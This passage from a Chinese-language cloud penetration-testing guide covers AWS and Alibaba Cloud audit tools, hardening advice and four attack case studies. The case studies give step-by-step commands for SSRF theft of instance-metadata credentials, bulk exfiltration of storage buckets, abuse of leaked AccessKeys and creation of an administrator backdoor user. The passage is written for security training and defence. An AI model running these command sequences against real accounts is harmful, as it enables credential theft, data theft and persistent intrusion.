git clone https://github.com/RhinoSecurityLabs/pacu.git
cd pacu && pip install -r requirements.txt
python pacu.py
# 导入凭据并执行模块
Pacu> import_keys default
Pacu (test:NoData)> whoami
Pacu (test:NoData)> run iam__enum_users
Pacu (test:NoData)> run iam__enum_permissions
Pacu (test:NoData)> run iam__privesc_scan
Pacu (test:NoData)> run s3__bucket_finder
Pacu (test:NoData)> run lambda__enum
Pacu (test:NoData)> run ec2__enum
Pacu (test:NoData)> sessions <会话名> # 切换/保存会话
8.1.5 ScoutSuite 扫描
bash
# 安装
pip install scoutsuite
# 执行 AWS 扫描
scout aws --profile <profile名>
# 执行阿里云扫描
scout aliyun --access-key-id <AK> --access-key-secret <SK> --region cn-hangzhou
# 扫描结果生成 HTML 报告(位于 scoutsuite-output/report.html)
8.1.6 Prowler CIS 检查
bash
# 安装
pip install prowler
# 执行全量 CIS 基线检查
prowler aws -p <profile名>
# 仅执行特定检查项(如检查 S3 公开访问)
prowler aws -c check13
# 输出 JSON 格式报告
prowler aws -M json -o ./prowler-report/
8.2 阿里云自动化审计
bash
# 安全中心:列出云安全态势管理(CSPM)检查项
aliyun sas DescribeCheckWarnings --PageSize 100
# 查看安全中心风险项
aliyun sas DescribeVulList --PageSize 100
# ActionTrail 事件查询
aliyun actiontrail LookupEvents --EventName ConsoleSignin --MaxResults 50
# 检查 RAM 用户是否开启 MFA
aliyun ram ListUsers --output cols=UserName,UserId rows=Users.UserName
# 检查 OSS 桶权限
aliyun oss ls
aliyun oss bucket acl --bucket <桶名>
8.3 开源审计工具对比
| 工具 | 支持平台 | 核心能力 | 适用场景 |
|---|---|---|---|
| Pacu | AWS | 攻击模拟、提权扫描 | 红队渗透 |
| ScoutSuite | AWS/Aliyun/Azure/GCP | 配置审计、可视化报告 | 蓝队巡检 |
| Prowler | AWS | CIS 合规检查 | 合规审计 |
| CloudSploit | 多云 | 配置检测 | 自动化巡检 |
| CloudFox | AWS/Azure/GCP | 权限可视化、可达性分析 | 权限梳理 |
九、云安全攻防实战案例
9.1 案例一:SSRF 获取 EC2 凭证横向移动
攻击场景:目标网站存在 SSRF 漏洞,部署在 AWS EC2 上且挂载了高权限 IAM 角色。
bash
# 步骤1:探测元数据服务(通过 SSRF 漏洞)
# 原始 SSRF payload
curl "http://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# 步骤2:获取 IAM 角色临时凭证
curl "http://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/WebAppRole"
# 步骤3:配置临时凭证
export AWS_ACCESS_KEY_ID=ASIAxxxxxxxxxxxx
export AWS_SECRET_ACCESS_KEY=xxxxxxxxxxxxxxxxxxxxxxxx
export AWS_SESSION_TOKEN=FwoGxxxxxxxxxxxx...
# 步骤4:验证身份
aws sts get-caller-identity
# 返回:arn:aws:sts::123456789012:assumed-role/WebAppRole/pentest
# 步骤5:枚举角色权限并发现可访问的 S3 桶
aws s3 ls
aws s3 ls s3://company-secrets-bucket/
# 步骤6:下载数据(完成横向移动与数据窃取)
aws s3 sync s3://company-secrets-bucket/ ./looted/
防御建议:强制 IMDSv2、修复 SSRF、为角色配置最小权限。
9.2 案例二:S3 公开数据泄露
攻击场景:企业 S3 存储桶配置为 public-read,包含敏感客户数据。
bash
# 步骤1:通过子域名或代码泄露发现存储桶名
# 例如应用代码中引用了 https://company-backups.s3.amazonaws.com/
# 步骤2:匿名列举存储桶内容
aws s3 ls s3://company-backups --no-sign-request
# 步骤3:匿名下载敏感文件
aws s3 cp s3://company-backups/customers.csv ./ --no-sign-request
aws s3 sync s3://company-backups/ ./looted/ --no-sign-request
# 步骤4:若为 public-read-write,可上传篡改文件
aws s3 cp fake-report.pdf s3://company-backups/reports/ --no-sign-request
防御建议:开启 Block Public Access、审计 Bucket Policy、启用加密与版本控制。
9.3 案例三:AccessKey 泄露控制云环境
攻击场景:开发者在 GitHub 公开仓库中硬编码了 AWS AccessKey。
bash
# 步骤1:通过 GitHub 搜索泄露的 AccessKey(AKIA 开头)
# GitHub 搜索关键字:AKIA OR "aws_access_key_id"
# 步骤2:配置泄露的凭据
aws configure --profile leaked
# AWS Access Key ID: AKIAIOSFODNN7EXAMPLE
# AWS Secret Access Key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
# 步骤3:验证身份与权限
aws sts get-caller-identity --profile leaked
aws iam list-attached-user-policies --user-name <用户名> --profile leaked
# 步骤4:枚举可访问资源
aws s3 ls --profile leaked
aws ec2 describe-instances --profile leaked
# 步骤5:利用 Pacu 自动化提权
Pacu> import_keys leaked
Pacu (leaked:NoData)> run iam__privesc_scan
Pacu (leaked:NoData)> run iam__backdoor_users --user-names <新用户名>
# 步骤6:创建后门用户(持久化)
aws iam create-user --user-name backdoor --profile leaked
aws iam create-access-key --user-name backdoor --profile leaked
aws iam attach-user-policy --user-name backdoor --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --profile leaked
防御建议:使用 Git 预提交钩子扫描密钥、启用 AWS Credential Guard、为 AK 配置自动轮换与泄露告警(GuardDuty)。
9.4 案例四:阿里云 ECS 元数据泄露 RAM 凭证
攻击场景:目标网站部署在阿里云 ECS 上,存在 SSRF 漏洞,实例绑定了 RAM 角色。
bash
# 步骤1:通过 SSRF 获取 RAM 角色名称
curl "http://target.com/fetch?url=http://100.100.100.200/latest/meta-data/ram/security-credentials/"
# 步骤2:获取 RAM 角色临时凭证
curl "http://target.com/fetch?url=http://100.100.100.200/latest/meta-data/ram/security-credentials/EcsAppRole"
# 步骤3:配置 aliyun CLI 临时凭证
aliyun configure set --profile ecs-role --mode StsToken \
--access-key-id STS.xxxxxxxxxxxx \
--access-key-secret xxxxxxxxxxxxxxxx \
--sts-token CAISxxxxxxxxxxxx... \
--region cn-hangzhou
# 步骤4:验证身份
aliyun sts GetCallerIdentity --profile ecs-role
# 步骤5:枚举可访问的 OSS 桶
aliyun oss ls --profile ecs-role
# 步骤6:下载 OSS 数据
ossutil cp oss://company-data/secrets.xlsx ./ --profile ecs-role
# 步骤7:若角色权限足够,枚举 ECS 实例信息
aliyun ecs DescribeInstances --RegionId cn-hangzhou --profile ecs-role
防御建议:ECS 不绑定高权限 RAM 角色、修复 SSRF 漏洞、通过安全组限制元数据服务访问来源。
十、云安全防护最佳实践
10.1 IAM 加固
- 禁用 Root/主账号 AccessKey,仅用于控制台登录并开启 MFA
- 遵循最小权限原则,使用托管策略而非内联策略
- 使用 STS 临时凭证替代长期 AccessKey
- 定期轮换 AccessKey,启用凭据报告审计
- 使用 Permission Boundary 限制 IAM 用户最大权限
10.2 网络隔离
- 所有资源部署在私有子网,通过 NAT 网关访问公网
- 安全组遵循默认拒绝、最小放通原则,禁止 0.0.0.0/0 开放管理端口
- 使用 VPC Endpoint 私网访问云服务,避免流量经过公网
- 对等连接严格审计,防止跨账号横向移动
10.3 数据加密
- 启用存储桶/云盘/数据库静态加密(KMS)
- 强制传输层加密(TLS/SSL)
- 敏感数据使用 Secrets Manager 或 KMS 托管
- 密钥定期轮换,严格控制 KMS 密钥策略
10.4 日志监控
- 全区域启用 CloudTrail / ActionTrail,日志投递到独立账号的存储桶
- 配置 GuardDuty / 安全中心检测异常 API 调用与凭据泄露
- 设置 CloudWatch / 日志服务告警,对高危操作实时通知
- 定期审查凭证报告与登录日志
10.5 CSPM 持续态势管理
- 部署 Config / 安全中心 CSPM 规则,持续检测配置偏差
- 使用 Security Hub / 合规中心聚合安全发现并闭环
- 定期执行 ScoutSuite / Prowler 全量审计
- 建立 IaC(Terraform/CloudFormation)安全扫描流程
10.6 检查清单
| 检查项 | AWS | 阿里云 |
|---|---|---|
| Root MFA | aws iam get-account-summary |
控制台查看主账号 MFA |
| AccessKey 轮换 | 凭证报告审计 | RAM 控制台审计 |
| S3/OSS 公开访问 | aws s3api get-public-access-block |
aliyun oss bucket acl |
| 安全组开放范围 | aws ec2 describe-security-groups |
aliyun ecs DescribeSecurityGroups |
| RDS 公开访问 | aws rds describe-db-instances |
aliyun rds DescribeDBInstanceIPArrayList |
| IMDSv2 强制 | aws ec2 describe-instances |
暂无(依赖应用层防护) |
| 日志启用 | aws cloudtrail describe-trails |
aliyun actiontrail DescribeTrails |
| MFA 普及率 | aws iam list-virtual-mfa-devices |
aliyun ram ListVirtualMFADevices |
| 加密状态 | aws s3api get-bucket-encryption |
OSS 控制台查看加密配置 |
| 配置合规 | aws configservice describe-compliance-by-config-rule |
aliyun sas DescribeCheckWarnings |
十一、总结与学习路线
11.1 云安全攻防要点总结
云安全攻防的本质是"身份即边界、配置即漏洞"。与传统内网渗透相比,云渗透更侧重于:
- 凭据获取优先:AccessKey 与临时凭证是云渗透的"通行证",SSRF 与代码泄露是主要入口
- 配置错误利用:存储桶公开、安全组过宽、IAM 过度授权是高频风险点
- 元数据服务:IMDS 是云原生 SSRF 的核心目标,IMDSv2 是关键防护措施
- API 驱动:所有操作通过 API 完成,CloudTrail / ActionTrail 日志是溯源关键
- 自动化工具:Pacu、ScoutSuite、Prowler 等工具大幅提升攻防效率
11.2 学习路线
| 阶段 | 学习内容 | 推荐资源 |
|---|---|---|
| 入门 | 云基础、IAM 模型、CLI 使用 | AWS 官方文档、阿里云帮助中心 |
| 进阶 | 配置审计、CIS 基线、CSPM | ScoutSuite、Prowler 实操 |
| 实战 | 靶场演练、漏洞链复现 | CloudGoat、SadCloud、WrongSecrets |
| 高阶 | 提权路径、横向移动、防御绕过 | Pacu 框架、Hacking The Cloud |
| 认证 | AWS Security Specialty、CCSP | 官方认证考试 |
11.3 推荐靶场与资源
- CloudGoat:RhinoSecurityLabs 出品的 AWS 靶场,含多条真实漏洞链场景
- SadCloud:故意配置错误的 AWS 环境,用于审计工具练习
- WrongSecrets:OWASP 项目,练习密钥泄露发现与利用
- Hacking The Cloud:云攻击技术百科全书,含真实案例
- AWS 官方渗透测试政策:了解哪些服务可免报备测试
【提示】 云安全是一个快速演进的领域,AWS 和阿里云持续推出新服务与新防护机制(如 IMDSv2、GuardDuty、安全中心)。攻防人员需保持对新服务、新配置项的持续学习,并定期更新自动化审计规则库。
以上即为 AWS 与阿里云渗透测试全流程指南。本文覆盖了从攻击面分析、六大服务安全、自动化审计到实战案例的完整体系,所有 CLI 命令均可在授权环境中直接使用。安全之路,攻防相长,愿每位安全从业者都能在合法合规的前提下提升云上防护能力。